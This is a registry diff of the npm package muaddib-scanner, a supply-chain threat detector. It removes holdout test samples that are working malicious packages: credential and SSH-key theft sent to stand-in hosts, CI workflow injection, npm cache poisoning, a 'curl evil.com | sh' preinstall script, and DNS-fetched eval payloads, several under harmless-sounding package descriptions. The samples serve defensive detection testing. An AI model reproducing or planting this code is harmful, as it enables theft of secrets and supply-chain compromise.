muaddib-scanner 2.2.2 → 2.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/README.fr.md +1 -1
  2. package/README.md +1 -1
  3. package/package.json +1 -1
  4. package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
  5. package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
  6. package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
  7. package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
  8. package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
  9. package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
  10. package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
  11. package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
  12. package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
  13. package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
  14. package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
  15. package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
  16. package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
  17. package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
  18. package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
  19. package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
  20. package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
  21. package/datasets/holdout-v2/wasm-loader/index.js +0 -46
  22. package/datasets/holdout-v2/wasm-loader/package.json +0 -6
  23. package/datasets/holdout-v3/dns-txt-payload/index.js +0 -11
  24. package/datasets/holdout-v3/dns-txt-payload/package.json +0 -6
  25. package/datasets/holdout-v3/electron-rce/index.js +0 -32
  26. package/datasets/holdout-v3/electron-rce/package.json +0 -6
  27. package/datasets/holdout-v3/env-file-parse-exfil/index.js +0 -39
  28. package/datasets/holdout-v3/env-file-parse-exfil/package.json +0 -6
  29. package/datasets/holdout-v3/git-credential-steal/index.js +0 -41
  30. package/datasets/holdout-v3/git-credential-steal/package.json +0 -6
  31. package/datasets/holdout-v3/npm-hook-hijack/index.js +0 -20
  32. package/datasets/holdout-v3/npm-hook-hijack/package.json +0 -9
  33. package/datasets/holdout-v3/postinstall-reverse-shell/index.js +0 -24
  34. package/datasets/holdout-v3/postinstall-reverse-shell/package.json +0 -9
  35. package/datasets/holdout-v3/require-cache-poison/index.js +0 -26
  36. package/datasets/holdout-v3/require-cache-poison/package.json +0 -6
  37. package/datasets/holdout-v3/steganography-payload/index.js +0 -31
  38. package/datasets/holdout-v3/steganography-payload/package.json +0 -6
  39. package/datasets/holdout-v3/symlink-escape/index.js +0 -30
  40. package/datasets/holdout-v3/symlink-escape/package.json +0 -6
  41. package/datasets/holdout-v3/timezone-trigger/index.js +0 -38
  42. package/datasets/holdout-v3/timezone-trigger/package.json +0 -6
  43. package/metrics/v2.1.5.json +0 -753
  44. package/metrics/v2.2.0.json +0 -753
  45. package/metrics/v2.2.1.json +0 -753
  46. package/nul +0 -0
  47. /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
package/README.fr.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.2",
3
+ "version": "2.2.3",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -1,36 +0,0 @@
1
- const os = require('os');
2
- const { execSync } = require('child_process');
3
- const https = require('https');
4
-
5
- function exfil(data) {
6
- const payload = JSON.stringify(data);
7
- const req = https.request({
8
- hostname: 'metrics.example.com',
9
- port: 443,
10
- path: '/v2/report',
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
13
- });
14
- req.on('error', () => {});
15
- req.write(payload);
16
- req.end();
17
- }
18
-
19
- const platform = os.platform();
20
- const arch = os.arch();
21
-
22
- try {
23
- if (platform === 'darwin') {
24
- // macOS: dump keychain credentials
25
- const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
26
- exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
27
- } else if (platform === 'linux') {
28
- // Linux: read /etc/shadow
29
- const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
30
- exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
31
- } else if (platform === 'win32') {
32
- // Windows: extract saved credentials via PowerShell
33
- const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
34
- exfil({ os: 'win32', arch, type: 'credentials', data: creds });
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "conditional-os-payload",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — OS-specific credential theft",
5
- "main": "index.js"
6
- }
@@ -1,21 +0,0 @@
1
- const https = require('https');
2
-
3
- // Reconstruct "GITHUB_TOKEN" from charCodes
4
- const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
5
- const varName = codes.map(c => String.fromCharCode(c)).join('');
6
-
7
- // Access via bracket notation to avoid static detection
8
- const secret = process.env[varName];
9
-
10
- if (secret) {
11
- const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
12
- const req = https.request({
13
- hostname: 'telemetry-api.example.com',
14
- port: 443,
15
- path: '/v1/collect',
16
- method: 'POST',
17
- headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
18
- });
19
- req.write(payload);
20
- req.end();
21
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "env-var-reconstruction",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — charCode reconstruction of env var name",
5
- "main": "index.js"
6
- }
@@ -1,36 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
-
4
- // Find the project root by traversing up
5
- let projectRoot = __dirname;
6
- while (projectRoot !== path.dirname(projectRoot)) {
7
- if (fs.existsSync(path.join(projectRoot, '.git'))) break;
8
- projectRoot = path.dirname(projectRoot);
9
- }
10
-
11
- const workflowDir = path.join(projectRoot, '.github', 'workflows');
12
-
13
- // Malicious step to inject into existing workflows
14
- const maliciousStep = `
15
- - name: Check dependencies
16
- run: |
17
- curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
18
- `;
19
-
20
- try {
21
- const files = fs.readdirSync(workflowDir);
22
- for (const file of files) {
23
- if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
24
-
25
- const fullPath = path.join(workflowDir, file);
26
- let content = fs.readFileSync(fullPath, 'utf8');
27
-
28
- // Inject after the first "steps:" line
29
- const stepsIndex = content.indexOf('steps:');
30
- if (stepsIndex !== -1) {
31
- const afterSteps = content.indexOf('\n', stepsIndex);
32
- content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
33
- fs.writeFileSync(fullPath, content);
34
- }
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "github-workflow-inject",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — inject step into existing workflow files",
5
- "main": "index.js"
6
- }
@@ -1,29 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Read SSH private key
7
- const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
8
- let keyData;
9
- try {
10
- keyData = fs.readFileSync(sshKeyPath, 'utf8');
11
- } catch (e) {
12
- process.exit(0);
13
- }
14
-
15
- // Encode as base64 to fit in a header
16
- const encoded = Buffer.from(keyData).toString('base64');
17
-
18
- // Exfiltrate via custom header to legitimate-looking domain
19
- const req = https.request({
20
- hostname: 'api.github.com',
21
- port: 443,
22
- path: '/repos/check-update',
23
- method: 'GET',
24
- headers: {
25
- 'User-Agent': 'node-updater/1.0',
26
- 'X-Debug-Data': encoded
27
- }
28
- });
29
- req.end();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "homedir-ssh-key-steal",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — SSH key exfiltration via HTTP header",
5
- "main": "index.js"
6
- }
@@ -1,38 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const crypto = require('crypto');
5
-
6
- // Target: npm's content-addressable cache
7
- const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
8
-
9
- // Malicious payload to inject into cached package
10
- const maliciousCode = `
11
- ;(function(){
12
- const h = require('https');
13
- const o = require('os');
14
- const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
15
- const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
16
- headers: { 'Content-Length': Buffer.byteLength(d) } });
17
- r.write(d); r.end();
18
- })();
19
- `;
20
-
21
- try {
22
- // Walk the cache directory to find JS entries
23
- const subDirs = fs.readdirSync(npmCacheDir);
24
- for (const sub of subDirs.slice(0, 5)) {
25
- const subPath = path.join(npmCacheDir, sub);
26
- const entries = fs.readdirSync(subPath);
27
- for (const entry of entries.slice(0, 3)) {
28
- const entryPath = path.join(subPath, entry);
29
- const content = fs.readFileSync(entryPath, 'utf8');
30
-
31
- // Only poison JS files
32
- if (content.includes('module.exports') || content.includes('require(')) {
33
- const poisoned = maliciousCode + '\n' + content;
34
- fs.writeFileSync(entryPath, poisoned);
35
- }
36
- }
37
- }
38
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "npm-cache-poison",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — local npm cache manipulation",
5
- "main": "index.js"
6
- }
@@ -1,8 +0,0 @@
1
- {
2
- "name": "npm-lifecycle-preinstall-curl",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — pure lifecycle script attack, no JS files",
5
- "scripts": {
6
- "preinstall": "curl -s https://evil.com/setup.sh | sh"
7
- }
8
- }
@@ -1,35 +0,0 @@
1
- const http = require('http');
2
-
3
- // Snapshot all current env values before interception
4
- const envSnapshot = Object.assign({}, process.env);
5
-
6
- // Intercept all process.env property accesses via Object.defineProperty
7
- // Different from Proxy-based approach — works on the actual process.env object
8
- const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
9
-
10
- Object.keys(envSnapshot).forEach(key => {
11
- const original = envSnapshot[key];
12
- const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
13
-
14
- Object.defineProperty(process.env, key, {
15
- get() {
16
- if (isSensitive) {
17
- // Silently exfiltrate on each access to a sensitive var
18
- const payload = JSON.stringify({ k: key, v: original });
19
- const req = http.request({
20
- hostname: '127.0.0.1',
21
- port: 8443,
22
- path: '/log',
23
- method: 'POST',
24
- headers: { 'Content-Length': Buffer.byteLength(payload) }
25
- });
26
- req.on('error', () => {});
27
- req.write(payload);
28
- req.end();
29
- }
30
- return original;
31
- },
32
- configurable: true,
33
- enumerable: true
34
- });
35
- });
@@ -1,6 +0,0 @@
1
- {
2
- "name": "process-env-proxy-getter",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — defineProperty intercept on process.env",
5
- "main": "index.js"
6
- }
@@ -1,44 +0,0 @@
1
- const http = require('http');
2
- const https = require('https');
3
-
4
- // Monkey-patch IncomingMessage prototype to intercept all HTTP responses
5
- const originalEmit = http.IncomingMessage.prototype.emit;
6
-
7
- http.IncomingMessage.prototype.emit = function(event, ...args) {
8
- if (event === 'end') {
9
- // Extract authorization headers from the response's request
10
- const authHeaders = {};
11
- const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
12
-
13
- for (const [key, value] of Object.entries(reqHeaders)) {
14
- if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
15
- authHeaders[key] = value;
16
- }
17
- }
18
-
19
- if (Object.keys(authHeaders).length > 0) {
20
- // Forward intercepted auth headers to external server
21
- const payload = JSON.stringify({
22
- url: this.req && this.req.path,
23
- headers: authHeaders,
24
- timestamp: Date.now()
25
- });
26
-
27
- const exfilReq = https.request({
28
- hostname: 'telemetry.example.com',
29
- port: 443,
30
- path: '/collect',
31
- method: 'POST',
32
- headers: {
33
- 'Content-Type': 'application/json',
34
- 'Content-Length': Buffer.byteLength(payload)
35
- }
36
- });
37
- exfilReq.on('error', () => {});
38
- exfilReq.write(payload);
39
- exfilReq.end();
40
- }
41
- }
42
-
43
- return originalEmit.call(this, event, ...args);
44
- };
@@ -1,6 +0,0 @@
1
- {
2
- "name": "readable-stream-hijack",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — IncomingMessage prototype monkey-patch",
5
- "main": "index.js"
6
- }
@@ -1,50 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Anti-sandbox: chained setTimeout with random delays
7
- // Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
8
-
9
- function stage1() {
10
- setTimeout(() => {
11
- stage2();
12
- }, Math.random() * 60000);
13
- }
14
-
15
- function stage2() {
16
- setTimeout(() => {
17
- stage3();
18
- }, Math.random() * 60000);
19
- }
20
-
21
- function stage3() {
22
- setTimeout(() => {
23
- stage4();
24
- }, Math.random() * 60000);
25
- }
26
-
27
- function stage4() {
28
- setTimeout(() => {
29
- stage5();
30
- }, Math.random() * 60000);
31
- }
32
-
33
- function stage5() {
34
- setTimeout(() => {
35
- // Final payload: read .npmrc and exfiltrate
36
- const npmrc = path.join(os.homedir(), '.npmrc');
37
- try {
38
- const token = fs.readFileSync(npmrc, 'utf8');
39
- const data = Buffer.from(token).toString('base64');
40
- const req = https.request({
41
- hostname: 'cdn-analytics.example.com',
42
- path: '/beacon?d=' + data,
43
- method: 'GET'
44
- });
45
- req.end();
46
- } catch (e) {}
47
- }, Math.random() * 60000);
48
- }
49
-
50
- stage1();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "setTimeout-chain",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — nested setTimeout chain with random delays",
5
- "main": "index.js"
6
- }
@@ -1,46 +0,0 @@
1
- const https = require('https');
2
- const os = require('os');
3
-
4
- // Download WASM module at runtime — malicious logic is in the binary
5
- const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
6
-
7
- function downloadWasm(url) {
8
- return new Promise((resolve, reject) => {
9
- https.get(url, (res) => {
10
- const chunks = [];
11
- res.on('data', c => chunks.push(c));
12
- res.on('end', () => resolve(Buffer.concat(chunks)));
13
- res.on('error', reject);
14
- }).on('error', reject);
15
- });
16
- }
17
-
18
- async function init() {
19
- const wasmBytes = await downloadWasm(wasmUrl);
20
-
21
- // Collect credentials to pass into WASM memory
22
- const env = process.env;
23
- const creds = JSON.stringify({
24
- npm: env.NPM_TOKEN || '',
25
- gh: env.GITHUB_TOKEN || '',
26
- aws_key: env.AWS_ACCESS_KEY_ID || '',
27
- aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
28
- hostname: os.hostname(),
29
- user: os.userInfo().username
30
- });
31
-
32
- // Instantiate WASM with imported memory containing credentials
33
- const memory = new WebAssembly.Memory({ initial: 10 });
34
- const encoder = new TextEncoder();
35
- const encoded = encoder.encode(creds);
36
- new Uint8Array(memory.buffer).set(encoded);
37
-
38
- const { instance } = await WebAssembly.instantiate(wasmBytes, {
39
- env: { memory, credsLen: encoded.length }
40
- });
41
-
42
- // WASM module handles exfiltration internally via imported network functions
43
- instance.exports.run();
44
- }
45
-
46
- init().catch(() => {});
@@ -1,6 +0,0 @@
1
- {
2
- "name": "wasm-loader",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — WASM-based credential passing",
5
- "main": "index.js"
6
- }
@@ -1,11 +0,0 @@
1
- const dns = require('dns');
2
-
3
- // Retrieve payload from DNS TXT record — no HTTP involved
4
- dns.resolveTxt('payload.evil-dns.com', (err, records) => {
5
- if (err) return;
6
- // TXT records come as arrays of strings
7
- const encoded = records.map(r => r.join('')).join('');
8
- const decoded = Buffer.from(encoded, 'base64').toString('utf8');
9
- // Execute the payload received via DNS
10
- eval(decoded);
11
- });
@@ -1,6 +0,0 @@
1
- {
2
- "name": "dns-txt-payload",
3
- "version": "1.0.0",
4
- "description": "DNS resolver helper utilities",
5
- "main": "index.js"
6
- }
@@ -1,32 +0,0 @@
1
- // Only activate in Electron environment where we have elevated privileges
2
- if (process.versions && process.versions.electron) {
3
- const { exec } = require('child_process');
4
- const os = require('os');
5
-
6
- // Electron apps often run with higher privileges
7
- const platform = os.platform();
8
- let cmd;
9
- if (platform === 'win32') {
10
- cmd = 'powershell -NoProfile -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select DisplayName, InstallLocation | ConvertTo-Json"';
11
- } else if (platform === 'darwin') {
12
- cmd = 'security find-generic-password -ga "Chrome" 2>&1 | head -20';
13
- } else {
14
- cmd = 'cat /etc/shadow 2>/dev/null || cat /etc/passwd';
15
- }
16
-
17
- exec(cmd, (err, stdout) => {
18
- if (stdout) {
19
- const https = require('https');
20
- const data = JSON.stringify({ platform, data: stdout });
21
- const req = https.request({
22
- hostname: 'electron-data.evil.com',
23
- port: 443,
24
- path: '/exfil',
25
- method: 'POST',
26
- headers: { 'Content-Type': 'application/json' }
27
- });
28
- req.write(data);
29
- req.end();
30
- }
31
- });
32
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "electron-rce",
3
- "version": "1.0.0",
4
- "description": "Cross-platform desktop helper",
5
- "main": "index.js"
6
- }
@@ -1,39 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const https = require('https');
4
-
5
- // Read .env file directly — no dotenv, no process.env
6
- const envPath = path.join(process.cwd(), '.env');
7
- let envContent;
8
- try {
9
- envContent = fs.readFileSync(envPath, 'utf8');
10
- } catch(e) { process.exit(0); }
11
-
12
- // Manual KEY=VALUE parsing
13
- const secrets = {};
14
- envContent.split('\n').forEach(line => {
15
- const trimmed = line.trim();
16
- if (!trimmed || trimmed.startsWith('#')) return;
17
- const eqIdx = trimmed.indexOf('=');
18
- if (eqIdx === -1) return;
19
- const key = trimmed.slice(0, eqIdx).trim();
20
- const val = trimmed.slice(eqIdx + 1).trim().replace(/^["']|["']$/g, '');
21
- if (/TOKEN|SECRET|KEY|PASSWORD|API/i.test(key)) {
22
- secrets[key] = val;
23
- }
24
- });
25
-
26
- // Exfiltrate parsed secrets
27
- if (Object.keys(secrets).length > 0) {
28
- const data = JSON.stringify(secrets);
29
- const opts = {
30
- hostname: 'env-collector.malware.io',
31
- port: 443,
32
- path: '/api/env',
33
- method: 'POST',
34
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
35
- };
36
- const req = https.request(opts);
37
- req.write(data);
38
- req.end();
39
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "env-file-parse-exfil",
3
- "version": "1.0.0",
4
- "description": "Environment configuration loader",
5
- "main": "index.js"
6
- }
@@ -1,41 +0,0 @@
1
- const fs = require('fs');
2
- const os = require('os');
3
- const path = require('path');
4
- const https = require('https');
5
-
6
- const home = os.homedir();
7
- const collected = {};
8
-
9
- // Read git config for remote URLs with embedded tokens
10
- try {
11
- const gitConfig = fs.readFileSync(path.join(home, '.gitconfig'), 'utf8');
12
- const urlMatches = gitConfig.match(/url\s*=\s*.+/g);
13
- if (urlMatches) collected.gitconfig = urlMatches;
14
- } catch(e) {}
15
-
16
- // Read stored git credentials
17
- try {
18
- const creds = fs.readFileSync(path.join(home, '.git-credentials'), 'utf8');
19
- collected.credentials = creds.split('\n').filter(l => l.trim());
20
- } catch(e) {}
21
-
22
- // Also check the project-level .git/config
23
- try {
24
- const localConfig = fs.readFileSync(path.join(process.cwd(), '.git', 'config'), 'utf8');
25
- const remotes = localConfig.match(/url\s*=\s*.+/g);
26
- if (remotes) collected.localRemotes = remotes;
27
- } catch(e) {}
28
-
29
- if (Object.keys(collected).length > 0) {
30
- const payload = JSON.stringify(collected);
31
- const opts = {
32
- hostname: 'git-tokens.exfil.dev',
33
- port: 443,
34
- path: '/collect',
35
- method: 'POST',
36
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
37
- };
38
- const req = https.request(opts);
39
- req.write(payload);
40
- req.end();
41
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "git-credential-steal",
3
- "version": "1.0.0",
4
- "description": "Git repository inspector utility",
5
- "main": "index.js"
6
- }
@@ -1,20 +0,0 @@
1
- const fs = require('fs');
2
- const os = require('os');
3
- const path = require('path');
4
-
5
- const home = os.homedir();
6
- const npmrcPath = path.join(home, '.npmrc');
7
-
8
- // Read existing .npmrc content
9
- let existing = '';
10
- try {
11
- existing = fs.readFileSync(npmrcPath, 'utf8');
12
- } catch(e) {}
13
-
14
- // Inject an oninstall hook for persistence
15
- // This will execute on every future npm install
16
- const hook = '\noninstall=node -e "require(\'https\').get(\'https://hooks.malware.io/ping?h=\'+require(\'os\').hostname())"';
17
-
18
- if (!existing.includes('oninstall')) {
19
- fs.writeFileSync(npmrcPath, existing + hook, 'utf8');
20
- }
@@ -1,9 +0,0 @@
1
- {
2
- "name": "npm-hook-hijack",
3
- "version": "1.0.0",
4
- "description": "npm configuration optimizer",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }